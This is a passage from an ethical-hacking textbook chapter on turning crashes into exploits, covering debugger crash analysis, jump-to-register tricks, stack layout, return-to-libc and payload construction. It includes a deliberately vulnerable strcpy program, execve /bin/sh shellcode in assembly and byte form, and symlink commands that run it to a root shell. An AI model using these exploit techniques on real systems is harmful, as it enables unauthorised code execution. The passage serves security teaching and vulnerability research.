unexpectedly. Division by zero is one such exceptional condition. A more
common exception occurs when a program attempts to access a memory
location that it has no rights to access, often resulting in a segmentation fault (segfault).
When you cause a program to read or write to unexpected memory locations, you have
the beginnings of a potentially exploitable condition.
With a debugger snapshot in hand, what are the types of things that you should be
looking for? Some of the items that we will discuss further include
• Did the program reference an unexpected memory location and why?
• Does input that we provided appear in unexpected places?
• Do any CPU registers contain user-supplied input data?
• Do any CPU registers point to user-supplied data?
• Was the program performing a read or write when it crashed?
Initial Analysis
Why did the program crash? Where did the program crash? These are the first two questions
that need to be answered. The “why” you seek here is not the root cause of the
crash, such as the fact that there is a buffer overflow problem in function xyz. Instead,
initially you need to know whether the program segfaulted or perhaps executed an illegal
instruction. A good debugger will provide this information the moment the program
crashes. A segfault might be reported by gdb as follows:
Program received signal SIGSEGV, Segmentation fault.
0x08048327 in main ()
Always make note of whether the address resembles user input in any way. It is common
to use large strings of As when attacking a program. One of the benefits to this is that the
address 0x41414141 is easily recognized as originating from your input rather than correct
program operation. Using the addresses reported in any error messages as clues, you
next examine the CPU registers to correlate the problem to specific program activity. An
OllyDbg register display is shown in Figure 18-1.
Instruction Pointer Analysis During analysis, the instruction pointer (eip on
an x86) is often a good place to start looking for problems. There are generally two cases
you can expect to encounter with regard to eip. In the first case, eip may point at valid
program code, either within the application or within a library used by the application.
In the second case, eip itself has been corrupted for some reason. Let’s take a quick look
at each of these cases.
In the case that eip appears to point to valid program code, the instruction immediately
preceding the one pointed to by eip is most often to blame for the crash.
NOTE For the purposes of debugging it should be remembered that eip is
always pointing at the next instruction to be executed. Thus, at the time of the
crash, the instruction referenced by eip has not yet been executed and we
assume that the previous instruction was to blame for the crash.
Analysis of this instruction and any registers used can give the first clues regarding the
nature of the crash. Again, it will often be the case that we find a register pointing to an
unexpected location from which the program attempted to read or write. It will be
Chapter 18: From Vulnerability to Exploit
461
PART IV
Gray Hat Hacking: The Ethical Hacker’s Handbook
462
useful to note whether the offending register contains user-supplied values, as we can
then assume that we can control the location of the read or write by properly crafting the
user input. If there is no obvious relationship between the contents of any registers and
the input that we have provided, the next step is to determine the execution path that led
to the crash. Most debuggers are capable of displaying a stack trace. A stack trace is an
analysis of the contents of the stack at any given time, in this case the time of the crash, to
break the stack down into the frames associated with each function call that preceded
the point of the crash. A valid stack trace can indicate the sequence of function calls that
led to the crash, and thus the execution path that must be followed to reproduce the
crash. An example stack trace for a simple program is shown next:
Breakpoint 1, 0x00401056 in three_deep ()
(gdb) bt
#0 0x00401056 in three_deep ()
#1 0x0040108f in two_deep ()
#2 0x004010b5 in one_deep ()
#3 0x004010ec in main ()
This trace was generated using gdb’s bt (backtrace) command. OllyDbg offers nearly
identical capability with its Call Stack display, as shown in Figure 18-2.
Unfortunately, when a vulnerability involves stack corruption, as occurs with stackbased
buffer overflows, a debugger will most likely be unable to construct a proper stack
trace. This is because saved return addresses and frame pointers are often corrupted,
making it impossible to determine the location from which a function was called.
Figure 18-1 OllyDbg register display
Chapter 18: From Vulnerability to Exploit
463
PART IV
The second case to consider when analyzing eip is whether eip points to a completely
unexpected location such as the stack or the heap, or better yet, whether the contents of
eip resemble our user-supplied input. If eip points into either the stack or the heap, you
need to determine whether you can inject code into the location referenced by eip. If so,
you can probably build a successful exploit. If not, then you need to determine why eip
is pointing at data and whether you can control where it points, potentially redirecting
eip to a location containing user-supplied data. If you find that you have complete control
over the contents of eip, then it becomes a matter of successfully directing eip to a
location from which you can control the program.
General Register Analysis If you haven’t managed to take control of eip, the
next step is to determine what damage you can do using other available registers. Disassembly
of the program in the vicinity of eip should reveal the operation that caused the
program crash. The ideal condition that you can take advantage of is a write operation to
a location of your choosing. If the program has crashed while attempting to write to
memory, you need to determine exactly how the destination address is being calculated.
Each general-purpose register should be studied to see if it (a) contributes to the destination
address computation, and (b) contains user-supplied data. If both of these conditions
hold, it should be possible to write to any memory location. The second thing to
learn is exactly what is being written and whether you can control that value; in which
case, you have the capability to write any value anywhere. Some creativity is required to
utilize this seemingly minor capability to take control of the vulnerable program. The
goal is to write your carefully chosen value to an address that will ultimately result in
control being passed to your shellcode. Common overwrite locations include saved
return addresses, jump table pointers, import table pointers, and function pointers. Format
string vulnerabilities and heap overflows both work in this manner because the
attackers gain the ability to write a data value of their choosing (usually 4 bytes, but
sometimes as little as 1 or as many as 8) to a location or locations of their choosing.
Improving Exploit Reliability Another reason to spend some time understanding
register content is to determine whether any registers point directly at your
Figure 18-2 OllyDbg Call Stack display
Gray Hat Hacking: The Ethical Hacker’s Handbook
464
shellcode at the time you take control of eip. Since the big question to be answered
when constructing an exploit is “What is the address of my shellcode?”, finding that
address in a register can be a big help. As discussed in previous chapters, injecting the
exact address of your shellcode into eip can lead to unreliable results since your
shellcode maymove around in memory. When the address of your shellcode appears in
a CPU register, you gain the opportunity to do an indirect jump to your shellcode. Using
a stack-based buffer overflow as an example, you know that a buffer has been overwritten
to control a saved return address. Once the return address has been popped off the
stack, the stack pointer continues to point to memory that was involved in the overflow
and which could easily contain your shellcode. The classic technique for return address
specification is to overwrite the saved eip with an address that will point to your
shellcode so that the return statement jumps directly into your code. While the return
addresses can be difficult to predict, you do know that esp points to memory that contains
your malicious input, because following the return from the vulnerable function,
it points 4 bytes beyond the overwritten return address. A better technique for gaining
reliable control would be to execute a jmp esp or call esp instruction at this point.
Reaching your shellcode becomes a two-step process in this case. The first step is to overwrite
the saved return address with the address of a jmp esp or call esp instruction.
When the exploitable function returns, control transfers to the jmp esp, which immediately
transfers control back to your shellcode. This sequence of events is detailed in
Figure 18-3.
A jump to esp is an obvious choice for this type of operation, but any register that happens
to point to your user-supplied input buffer (the one containing your shellcode) can
be used. Whether the exploit is a stack-based overflow, a heap overflow, or a format string
exploit, if you can find a register that is left pointing to your buffer, you can attempt to vector
a jump through that register to your code. For example, if you recognize that the esi
register points to your buffer when you take control of eip, then a jmp esi instruction
would be a very helpful thing to find.
Figure 18-3
Bouncing back to
the stack
NOTE The x86 architecture uses the esi register as a “source index” register
for string operations. During string operations, it will contain the memory
address from which data is to be read, while edi, the destination index, will
contain the address at which the data will be written.
The question of where to find a useful jump remains. You could closely examine a
disassembly listing of the exploitable program for the proper instruction, or you could
scan the binary executable file for the correct sequence of bytes. The second method is
actually much more flexible because it pays no attention to instruction and data boundaries
and simply searches for the sequence of bytes that form your desired instruction.
David Litchfield of NGS Software created a program named getopcode.c to do exactly
this. The program operates on Linux binaries and reports any occurrences of a desired
jump or call to register instruction sequence. Using getopcode to locate a jmp edi in a
binary named exploitable looks like this:
# ./getopcode exploitable "jmp edi"
GETOPCODE v1.0
SYSTEM (from /proc/version):
Linux version 2.4.20-20.9 (bhcompile@stripples.devel.redhat.com) (gcc version
3.2.2 20030222 (Red Hat Linux 3.2.2-5)) #1 Mon Aug 18 11:45:58 EDT 2003
Searching for "jmp edi" opcode in exploitable
Found "jmp edi" opcode at offset 0x0000AFA2 (0x08052fa2)
Finished.
What all this tells us is that, if the state of exploitable at the time you take control of eip
leaves the edi register pointing at your shellcode, then by placing address 0x08052fa2
into eip you will be bounced into your shellcode. The same techniques utilized in
getopcode could be applied to perform similar searches through Windows PE binaries.
The Metasploit project has taken this idea a step further and created a web-accessible
database that allows users to look up the location of various instructions or instruction
sequences within any Windows libraries that they happen to support. This makes locating
a jmp esp a relatively painless task where Windows exploitation is concerned.
Using this technique in your exploit payloads is far more likely to produce a 100 percent
reliable exploit that can be used against all identical binaries, since redirection to your
shellcode becomes independent of the location of your shellcode. Unfortunately, each
time the program is compiled with new compiler settings or on a different platform, the
useful jump instruction is likely to move or disappear entirely, breaking your exploit.
References
David Litchfield, “Variations in Exploit Methods between Linux and Windows”
www.nextgenss.com/papers/exploitvariation.pdf
The Metasploit Opcode Database http://metasploit.com/users/opcode/msfopcode.cgi
PART IV
Chapter 18: From Vulnerability to Exploit
465
Understanding the Problem
Believe it or not, it is possible to exploit a program without understanding why that program
is vulnerable. This is particularly true when you crash a program using a fuzzer. As
long as you recognize which portion of your fuzzing input ends up in eip and determine
a suitable place within the fuzzer input to embed your shellcode, you do not need to
understand the innerworkings of the program that led up to the exploitable condition.
However, from a defensive standpoint it is important that you understand as much as
you can about the problem in order to implement the best possible corrective measures,
which can include anything from firewall adjustments and intrusion detection signature
development, to software patches. Additionally, discovery of poor programming
practices in one location of a program should trigger code audits that may lead to the
discovery of similar problems in other portions of the program, other programs derived
from the same code base, or other programs authored by the same programmer.
From an offensive standpoint it is useful to know how much variation you can attain
in forming inputs to the vulnerable program. If a program is vulnerable across a wide
range of inputs, you will have much more freedom to modify your payloads with each
subsequent use, making it much more difficult to develop intrusion detection signatures
to recognize incoming attacks. Understanding the exact input sequences that trigger
a vulnerability is also an important factor in building the most reliable exploit
possible; you need some degree of certainty that you are triggering the same program
flow each time you run your exploit.
Preconditions and Postconditions
Preconditions are those conditions that must be satisfied in order to properly inject your
shellcode into a vulnerable application. Postconditions are the things that must take place
to trigger execution of your code once it is in place. The distinction is an important one
though not always a clear one. In particular, when relying on fuzzing as a discovery
mechanism, the distinction between the two becomes quite blurred. This is because all
you learn is that you triggered a crash; you don’t learn what portion of your input caused
the problem, and you don’t understand how long the program may have executed after
your input was consumed. Static analysis tends to provide the best picture of what conditions
must be met in order to reach the vulnerable program location, and what conditions
must be further met to trigger an exploit. This is because it is common in static
analysis to first locate an exploitable sequence of code, and then work backward to
understand exactly how to reach it and work forward to understand exactly how to trigger
it. Heap overflows provide a classic example of the distinction between preconditions
and postconditions. In a heap overflow, all of the conditions to set up the exploit
are satisfied when your input overflows a heap-allocated buffer. With the heap buffer
properly overflowed, it still remains to trigger the heap operation that will utilize the
control structures you have corrupted, which in itself usually only gives us an arbitrary
overwrite. Since the goal in an overwrite is often to control a function pointer, you must
further understand what functions will be called after the overwrite takes place in order
to properly select which pointer to overwrite. In other words, it does us no good to
Gray Hat Hacking: The Ethical Hacker’s Handbook
466
overwrite the .got address of the strcmp() function if strcmp() will never be called after
the overwrite has taken place. At a minimum, a little study is needed.
Another example is the situation where a vulnerable buffer is being processed by a
function other than the one in which it is declared. The pseudo-code that follows provides
an example in which a function foo() declares a buffer and asks function bar() to
process it. It may well be the case that bar() fails to do any bounds checking and overflows
the provided buffer (strcpy() is one such function), but the exploit is not triggered
when bar() returns. Instead, you must ensure that actions are taken to cause foo() to
return; only then will the overflow be triggered.
// This function does no bounds checking and may overflow
// any provided buffer
void bar(char *buffer_pointer) {
//do something stupid
...
}
// This function declares the stack allocated buffer that will
// be overflowed. It is not until this function returns that
// the overflow is triggered.
void foo() {
char buff[256];
while (1) {
bar(buff);
//now take some action based on the content of buff
//under the right circumstances break out of this
//infinite loop
}
}
Repeatability
Everyone wants to develop exploits that will work the first time every time. It is a little
more difficult to convince a pen-test customer that their software is vulnerable when
your demonstrations fail right in front of them. The important thing to keep in mind is
that it only takes one successful access to completely own a system. The fact that it may
have been preceded by many failed attempts is irrelevant. Attackers would prefer not to
swing and miss, so to speak. The problem from the attacker’s point of view is that each
failed attempt raises the noise profile of the attack, increasing the chances that the attack
will be observed or logged in some fashion. What considerations go into building reliable
exploits? Some things that need to be considered include
• Stack predictability
• Heap predictability
• Reliable shellcode placement
• Application stability following exploitation
We will take a look at some of these issues and discuss ways to address them.
Chapter 18: From Vulnerability to Exploit
467
PART IV
Gray Hat Hacking: The Ethical Hacker’s Handbook
468
Stack Predictability
Traditional buffer overflows depend on overwriting a saved return address on the program
stack, causing control to transfer to a location of the attacker’s choosing when the
vulnerable function completes and restores the instruction pointer from the stack. In
these cases, injecting shellcode into the stack is generally less of a problem than determining
a reliable “return” address to use when overwriting the saved instruction
pointer. Many attackers have developed a successful exploit and patted themselves on
the back for a job well done, only to find that the same exploit fails when attempted a
second time. In other cases, an exploit may work several times, then stop working for
some time, then resume working with no apparent explanation. Anyone who has written
exploits against software running on recent (later than 2.4.x) Linux kernels is likely
to have observed this phenomenon. For the time being we will exclude the possibility
that any memory protection mechanism such as Address Space Layout Randomization
(ASLR) or a non-executable stack (NX or W^X) is in place, and explain what is happening
within the Linux kernel to cause this “jumpy stack” syndrome.
Process Initialization Chapter 7 discussed the basic layout of the bottom of a program’s
stack. A more detailed view of a program’s stack layout can be seen in Figure 18-4.
Linux programs are launched using the execve() system call. The function prototype
for C programmers looks like this:
int execve(const char *filename, char *const argv[], char *const envp[]);
Figure 18-4
Detailed view of a
program’s stack
layout
Chapter 18: From Vulnerability to Exploit
469
PART IV
Here, filename is the name of the executable file to run and the pointer arrays argv and
envp contain the command-line arguments and environment variable strings respectively
for the new program. The execve() function is responsible for determining the format
of the named file and for taking appropriate actions to load and execute that file. In
the case of shell scripts that have been marked as executable, execve() must instantiate a
new shell, which in turn is used to execute the named script. In the case of compiled
binaries, which are predominantly ELF these days, execve() invokes the appropriate
loader functions to move the binary image from disk into memory, to perform the initial
stack setup, and ultimately to transfer control to the new program.
The execve() function is implemented within the Linux kernel by the do_execve() function,
which can be found in a file named fs/exec.c. ELF binaries are loaded using functions
contained in the file fs/binfmt_elf.c. By exploring these two files, you can learn the exact
process by which binaries are loaded and more specifically, understand the exact stack setup
that you can expect a binary to have as it begins execution.Working from the bottom of the
stack upward (refer to Figure 18-4), the layout created by execve() consists of:
• A 4-byte null at address 0xBFFFFFFC.
• The pathname used to launch the program. This is a null-terminated ASCII
string. An attacker often knows the exact pathname and can therefore compute
the exact start address of this string. We will return to this field later to discuss
more interesting uses for it.
• The “environment” of the program as a series of null-terminated ASCII strings. The
strings are usually in the form of =, for example, TERM=vt100.
• The command-line arguments to be passed to the program as a series of nullterminated
ASCII strings. Traditionally the first of these strings is the name of
the program itself, though this is not a requirement.
• A block of zero-filled padding ranging in size from zero to 8192 bytes. For
Linux version 2.6 kernels, this block is inserted only when virtual address space
randomization is enabled in the kernel via the randomize_va_space kernel
variable. For Linux version 2.4 kernels, this padding is generally only present
when hyperthreading is enabled in the kernel.
• 112 bytes of ELF interpreter information. See the function create_elf_tables in
the file fs/binfmt_elf.c for more details on information included here.
• An array of pointers to the start of each environment string. The array is
terminated with a NULL pointer.
• An array of pointers to the start of each command-line argument. The array is
terminated with a NULL pointer.
• Saved stack information from the program entry point (_start) up to the call of
the main() function.
• The parameters of main() itself, the argument count (argc), the pointer to the
argument pointer array (argv), and the pointer to the environment pointer
array (envp).
If you have spent any time at all developing stack buffer overflowexploits, you knowthat a
reliable return address is essential for transferring control to your shellcode.On Linux systems,
the variable-size padding block causes all things placed on the stack afterwards,
including stack-based buffers, tomove higher or lower in the stack depending on the size
of the padding. The result is that a return address that successfully hits a stack-allocated
buffer when the padding size is zero may miss the buffer completely when the padding
size is 8192 because the buffer has been lifted to an address 8192 bytes lower in stack
memory space. Similar effects can be observed when a program’s environment changes
from one execution to another, or when a program is executed with different commandline
arguments (different in number or length). The larger (or smaller) amount of space
required to house the environment and command-line arguments results in a shift of
every item allocated lower in the stack than the argument and environment strings.
Working with a Padded Stack With some understanding of why variables may
move around in the stack, let’s discuss how to deal with it when writing exploits. Here are
some useful things to know:
• Locating a jmp esp or other jump to register is your best defense against a shifting
stack, including ASLR-associated shifts. No matter how random the stack may
appear, if you have a register pointing to your shellcode and a corresponding
jump to that register, you will be immune to stack address variations.
• When no jump register instruction can be located, and when confronted with a
randomized stack, remember that with sufficient patience on your part the
stack will eventually randomize to a location for which your chosen return
address works. Unfortunately, this may require a tremendous number of exploit
attempts in order to finally succeed.
• Larger NOP slides make easier targets but are easier to spot from an intrusion
detection point of view. The larger your NOP slide is, the more likely you are to
survive small shifts in the stack and the greater chance you stand of have the
address space randomize to your NOP slide. Remember, whenever using NOPs,
it is a good idea to generate different strings of NOPs each time you run your
exploit. A wide variety of one-byte instructions can be used as effective NOPs. It
is even possible to use multibyte instructions as NOPs if you carefully choose
the second and successive bytes of those instructions so that they in turn
represent shorter NOP sequences.
• For local exploits, forget about returning into stack-based buffers and return
into an argument string, or better yet, an environment variable. Argument and
environment strings tend to shift far less in memory each time a program
executes, since they lie deeper in the stack than any padding bytes.
Dealing with Sanitized Arguments and Environment Strings
Because command-line arguments and environment strings are commonly used to
store shellcode for local exploits, some programs take action to sanitize both. This can
be done in a variety of ways, from checking for ASCII-only values to erasing the
Gray Hat Hacking: The Ethical Hacker’s Handbook
470
Chapter 18: From Vulnerability to Exploit
471
PART IV
environment completely or building a custom environment from scratch. One lastditch
possibility for getting shellcode onto the stack in a reliable location is within the
executable pathname stored near the very bottom of the stack. Two things make this
option very attractive. First, this string is not considered part of the environment, so
there is no pointer to it in the envp array. Programmers who do not realize this may forget
to sanitize this particular string. Second, on systems without randomized stacks, the
location of this string can be computed very precisely. The start of this string lies at:
MAX_STACK_ADDRESS – (strlen(executable_path) + 1) - 4
where MAX_STACK_ADDRESS represents the bottom of the stack (often 0xC0000000
on Linux systems), and you subtract 4 for the null bytes at the very bottom and
(strlen(executable_path) + 1) for the length of the ASCII path and its associated null
terminator. This makes it easy to compute a return address that will hit the path every
time. The key to making this work is to get shellcode into the pathname, which you can
only do if this is a local exploit. The trick is to create a symbolic link to the program to be
exploited and embed your shellcode in the name of the symbolic link. This can be complicated
by special characters in your shellcode such as / but you can overcome it with
creative use of mkdir. Here is an example that creates a symbolic link to a simple exploitable
program, vulnerable.c (listed next):
# cat vulnerable.c
#include
int main(int argc, char **argv) {
char buf[16];
printf("main's stack frame is at: %08X\n", &argc);
strcpy(buf, argv[1]);
};
# gcc -o /tmp/vulnerable vulnerable.c
To exploit this program, you will create a symbolic link to vulnerable that contains a
variant of the classic Aleph One shellcode as listed next:
; nq_aleph.asm
; assemble with: nasm –f bin nq_aleph.asm
USE32
_start:
jmp short bottom ; learn where we are
top:
pop esi ; address of /bin/sh
xor eax, eax ; clear eax
push eax ; push a NULL
mov edx, esp ; envp {NULL}
push esi ; push address of /bin/sh
mov ecx, esp ; argv {"/bin/sh", NULL}
mov al, 0xb ; execve syscall number into al
mov ebx, esi ; pointer to "/bin/sh"
int 0x80 ; do it!
bottom:
call top ; address of /bin/sh pushed
; db '/bin/sh' ; not assembled, we will add this later
Gray Hat Hacking: The Ethical Hacker’s Handbook
472
You start with a Perl script named nq_aleph.pl to print the assembled shellcode
minus the string “/bin/sh”:
#!/usr/bin/perl
binmode(STDOUT);
print "\xeb\x0f\x5e\x31\xc0\x50\x89\xe2\x56\x89\xe1" .
"\xb0\x0b\x89\xf3\xcd\x80\xe8\xec\xff\xff\xff";
NOTE Perl’s binmode function is used to place a stream in binary transfer
mode. In binary mode, a stream will not perform any character conversions
(such as Unicode expansion) on the data that traverses the stream. While this
function may not be required on all platforms,we include it here to make the
script as portable as possible.
Next you create a directory name from the shellcode. Thisworks because Linux allows
virtually any character to be part of a directory or filename. To overcome the restriction
on using / in a filename, you append /bin to the shellcode by creating a subdirectory at
the same time:
# mkdir –p `./nq_aleph.pl`/bin
And last you create the symlink that appends /sh onto your shellcode:
# ln –s /tmp/vulnerable `./nq_aleph.pl`/bin/sh
Which leaves us with:
# ls -lR *
-rwxr--r-- 1 demo demo 195 Jul 8 10:08 nq_aleph.pl
??^?v?1??F??F??????N??V?Í?1Û??@Í??????:
total 1
drwxr-xr-x 2 demo demo 1024 Jul 8 10:13 bin
??^?v?1??F??F??????N??V?Í?1Û??@Í??????/bin:
total 0
lrwxrwxrwx 1 demo demo 15 Jul 8 10:13 sh -> /tmp/vulnerable
Notice the garbage characters in the first subdirectory name. This is due to the fact that
the directory name contains your shellcode rather than traditional ASCII-only characters.
The subdirectory bin and the symlink sh add the required /bin/sh characters to the path,
which completes your shellcode. Now the vulnerable program can be launched via the
newly created symlink:
# `./nq_aleph.pl`/bin/sh
If you can supply command-line arguments to the program that result in an overflow,
you should be able to use a reliable return address of 0xBFFFFFDE (0xC0000000–4–3010)
to point right to your shellcode even though the stack may be jumping around as evidenced
by the following output:
# `./nq_aleph.pl`/bin/sh \
`perl -e 'binmode(STDOUT);print "\xDE\xFF\xFF\xBF"x10;'`
main's stack frame is at: BFFFEBE0
sh-2.05b# exit
exit
# `./nq_aleph.pl`/bin/sh \
`perl -e 'binmode(STDOUT);print "\xDE\xFF\xFF\xBF"x10;'`
main's stack frame is at: BFFFED60
sh-2.05b# exit
exit
# `./nq_aleph.pl`/bin/sh
`perl -e 'binmode(STDOUT);print "\xDE\xFF\xFF\xBF"x10;'`
main's stack frame is at: BFFFF0E0
sh-2.05b# exit
exit
Return to libc Fun!
Today many systems ship with one or more forms of memory protection designed to
defeat injected shellcode. Reliably locating your shellcode in the stack doesn’t do any
good when facing some of these protections. Stack protection mechanisms range from
marking the stack as nonexecutable to inserting larger randomly sized blocks of data at
the bottom of the stack (higher memory addresses) to make return address prediction
more difficult. Return to libc exploits were developed as a means of removing reliance
on the stack for hosting shellcode. Solar Designer demonstrated return to libc style
exploits in a post to the Bugtraq mailing list (see “References”). The basic idea behind a
return to libc exploit is to overwrite a saved return address on the stack with the address
of an interesting library function. When the exploited function returns, the overwritten
return address directs execution to the libc function rather than returning to the original
calling function. If you can return to a function such as system(), you can execute virtually
any program available on the victim system.
NOTE The system() function is a standard C library function that executes
any named program and does not return to the calling program until the
named program has completed. Launching a shell using system looks like this:
system(“/bin/sh”);
For dynamically linked executables, the system() function will be present somewhere
in memory along with every other C library function. The challenge to generating
a successful exploit is determining the exact address at which system() resides, which is
dependent on where the C library is loaded at program startup. Traditional return to
libc exploits were covered in Chapter 8. Several advanced return to libc exploits are covered
in Nergal’s outstanding article in Phrack 58 (see “References”). Of particular interest
is the “frame faking” technique, which relies on compiler-generated function return
code, called an epilogue, to take control of a program after hijacking the frame pointer
register used during function calls.
Chapter 18: From Vulnerability to Exploit
473
PART IV
NOTE Typical epilogue code in x86 binaries consists of the two instructions
leave and ret. The leave instruction transfers the contents of ebp into esp,
and then pops the top value on the stack, the saved frame pointer, into ebp.
On x86 systems, the ebp register serves as the frame pointer and its contents are often
saved on the stack, just above the saved return address, at the start of most functions (in
the function’s prologue).
NOTE Typical x86 prologue code consists of a push ebp to save the caller’s
frame pointer, a mov ebp, esp to set up the new frame pointer, and finally a
stack adjustment such as sub esp, 512 to allocate space for local variables.
Any actions that result in overwriting the saved return address by necessity overwrite
the saved frame pointer, which means that when the function returns, you control both
eip and ebp. Frame faking works when a future leave instruction loads the corrupted
ebp into esp. At that point you control the stack pointer, which means you control
where the succeeding ret will take its return address from. Through frame faking, control
of a program can be gained by overwriting ebp alone. In fact, in some cases, control can
be gained by overwriting as little as 1 byte of a saved ebp, as shown in Figure 18-5, in
which an exploitable function foo() has been called by another function bar(). Recall
that many copy operations terminate when a null byte is encountered in the source
memory block, and that the null byte is often copied to the destination memory block.
The figure shows the case where this null byte overwrites a single byte of bar()’s saved
ebp, as might be the case in an off-by-one copying error.
Gray Hat Hacking: The Ethical Hacker’s Handbook
474
Figure 18-5
One-byte
overwrite of ebp
in a frame faking
exploit
The epilogue that executes as foo() returns (leave/ret) results in a proper return to
bar().However, the value 0xBFFFF900 is loaded into ebp rather than the correct value of
0xBFFFF9F8. When bar later returns, its epilogue code first transfers ebp to esp, causing
esp to point into your buffer at Next ebp. Then it pops Next ebp into ebp, which is useful
if you want to create a chained frame-faking sequence, because again you control
ebp. The last part of bar()’s prologue, the ret instruction, pops the top value on the
stack, Next eip, which you control, into eip and you gain control of the application.
Return to libc Defenses
Return to libc exploits can be difficult to defend against because unlike with the stack
and the heap, you cannot mark a library of shared functions as nonexecutable. It defeats
the purpose of the library. As a result, attackers will always be able to jump to and execute
code within libraries. Defensive techniques aim to make figuring out where to
jump difficult. There are two primary means for doing this. The first method is to load
libraries in new, random locations every time a program is executed. This may prevent
exploits from working 100 percent of the time, but brute-forcing may still lead to an
exploit, because at some point the library will be loaded at an address that has been used
in the past. The second defense attempts to capitalize on the null-termination problem
for many buffer overflows. In this case, the loader attempts to place libraries in the first
16MB of memory because addresses in this range all contain a null in their most significant
byte (0x00000000–0x00FFFFFF). The problem this presents to an attacker is that
specifying a return address in this range will effectively terminate many copy operations
that result in buffer overflows.
References
Solar Designer, “Getting Around Non-executable Stack (and Fix)” www.securityfocus.com/
archive/1/7480
Nergal, “Advanced Return into libc Exploits” www.phrack.org/phrack/58/p58-0x04
Payload Construction Considerations
Assuming your efforts lead you to construct a proof of concept exploit for the vulnerable
condition you have discovered, your final task will be to properly combine various elements
into input for the vulnerable program. Your input will generally consist of one or
more of the following elements in some order:
• Protocol elements to entice the vulnerable application down the appropriate
execution path
• Padding, NOP or otherwise, used to force specific buffer layouts
• Exploit triggering data, such as return addresses or write addresses
• Executable code, that is, payload/shellcode
Chapter 18: From Vulnerability to Exploit
475
PART IV
Gray Hat Hacking: The Ethical Hacker’s Handbook
476
If your input is not properly crafted, your exploit is not likely to work properly. Some
things that can go wrong include the following:
• Incorrectly crafted protocol element fails to cause program to execute to the
location of the vulnerability.
• Return address fails to align properly with the saved eip on the stack.
• Heap control data fails to properly align and overwrite heap structures.
• Poor placement of shellcode results in portions of your shellcode being
overwritten prior to its execution, generally resulting in your shellcode crashing
• Your input contains characters that prevent some or all of your data from being
properly placed in memory
• The target program performs a transformation on your buffer that effectively
corrupts your shellcode, for example, an ASCII-to-Unicode expansion
Payload Protocol Elements
Detailed discussion of specific protocol elements is beyond the scope of this book since
protocol elements are very specific to each vulnerability. To convince the vulnerable
application that it should do what you want, you will need to understand enough of its
protocol to lead it to the vulnerable portion of the program, convince it to place your
payload in memory somewhere, and finally cause the program to trigger your exploit. It
is not uncommon for protocol elements to precede and follow your shellcode. As an
example, consider an ftp server that contains a stack buffer overflow when handling filenames
associated with the RETR command thatwon’t get triggered until the user disconnects
with the QUIT command. A rough layout to exploit this vulnerability might look
something like this:
USER anonymous
PASS guest@
RETR
QUIT
Note that ftp protocol elements precede and follow the shellcode. It is also worth noting
that protocol elements are generally immune to the character restrictions that may exist
for your shellcode. For example, in the preceding we clearly need carriage returns to
delimit all of the commands, but must not include a carriage return in our shellcode
buffer until we are ready to terminate the buffer and append the QUIT command.
Buffer Orientation Problems
To effect a buffer overflow exploit, a buffer is overflowed and control information
beyond the end of the buffer is modified to cause the program to transfer control to a
user-supplied payload. In many cases other program variables may lie between the vulnerable
buffer and the control structures we need to manipulate. In fact, current versions
of gcc intentionally reorder stack buffers to place non-array variables between any stackallocated
buffers and the saved return address. While this may not prevent us from
reaching the control structures we wish to corrupt, it does require us to be extremely
careful when crafting our input. Figure 18-6 shows a simple stack layout in which variables
A–D are positioned between a vulnerable buffer and the return address that we
wish to control.
Crafting an input buffer in this case must take into consideration if and how any of
these variables are used by the program and whether the program might terminate
abnormally if any of these values is corrupted. Similarly, region E in Figure 18-6 contains
any arguments passed in to the function that pose the same potential corruption
problems as local variables A–D. As a general rule, when overwriting variables is
unavoidable, you should attempt to overwrite them with the same or otherwise valid
values that those variables contained at the time of the overflow. This maximizes the
chances that the program will continue to function properly up to the point that the
exploit is triggered. If we determine that the program will modify the contents of any
locations within our overflowed region, we must make sure that we do not place any
shellcode in these areas.
Self-Destructive Shellcode
Another situation that must be avoided arises when shellcode inadvertently modifies
itself, generally causing our shellcode to crash. This most commonly occurs when we
have placed shellcode in the stack, and the shellcode utilizes the stack for temporary
storage, as may be the case for self-decoding shellcode. For example, if we inject
shellcode into the area named Vulnerable Buffer in Figure 18-6, then when the exploit is
triggered, esp will be pointing roughly at location E. If our shellcode pushes too many
variables, the stack will grow into the bottom of our shellcode with a high chance of corrupting
it. If, on the other hand, our shellcode is injected at or below E, then it will be
safe to push as much data as needed without overwriting any portion of our shellcode.
Clearly, this potential for corruption demands that we understand the exact behavior of
our shellcode and its potential for self-corruption. Unfortunately, the ease with which
we can generate standard payloads using tools such as Metasploit also makes it easy to
overlook this important aspect of shellcode behavior. A quick glance at the Metasploit
Linux findsock shellcode shows that the code pushes 36 bytes of data onto the stack.
Chapter 18: From Vulnerability to Exploit
477
PART IV
Figure 18-6
Potential
corruption of
stack variables
Gray Hat Hacking: The Ethical Hacker’s Handbook
478
If you are not careful, this could easily corrupt shellcode placed in memory prior to the
saved eip location. Assembly listings for many of Metasploit’s shellcode components
can be found on the Metasploit website in their shellcode section. Unfortunately, it is
not nearly as easy to determine how much stack space is used when you elect to use one
of Metasploit’s payload encoders. The listings for the encoders are not so easy to analyze,
as they are dynamically generated using Perl modules found in the encoders directory of
the Metasploit distribution. In general, it is wise to perform a stack adjustment as the
first step in any stack-based payload. The purpose of the adjustment should be to move
esp safely below your shellcode and to provide clearance for your shellcode to run without
corrupting itself. Thus if we want to make a 520-byte adjustment to esp before passing
control to our Metasploit-generated decoder, we would pre-append the following:
"\x81\xc4\xf8\xfd\xff\xff" add esp,-520 ; sub esp,520 contains nulls
Reference
The Metasploit Project – Shellcode Components http://metasploit.com/shellcode.html
Documenting the Problem
Whether you have been able to produce a working exploit or not, it is always useful to
document the effort that you put in while researching a software problem. The disclosure
process has already been discussed in previous chapters, but here we will talk a little
about the types of technical information that you may want to include in correspondence
with a software vendor.
Background Information
It is always important to provide as much background information as possible when
reporting a problem. Critical facts to discuss include
• Operating system and patch level in use.
• Build version of the software in question.
• Was the program built from source or is it a binary distribution?
• If built from source, what compiler was used?
• Other programs running at the time.
Circumstances
The circumstances surrounding the problem need to be described in as detailed a manner
as possible. It is important to properly document all of the actions that led to the
problem being triggered. Items to consider here include
• How was the program started? With what arguments?
• Is this a local or remotely triggerable problem?
• What sequence of events or input values caused the problem to occur?
• What error or log messages, if any, did the application produce?
Research Results
Perhaps the most useful information is that concerning your research findings. Detailed
reporting of your analysis efforts can be the most useful piece of information a software
developer receives. If you have done any amount of reverse engineering of the problem
to understand its exact nature, then a competent software developer should be able to
quickly verify your findings and get to work on fixing the problem. Useful items to
report might include
• Severity of the problem. Is remote or local code execution possible or likely to
be possible?
• Description of the exact structure of inputs that cause the problem.
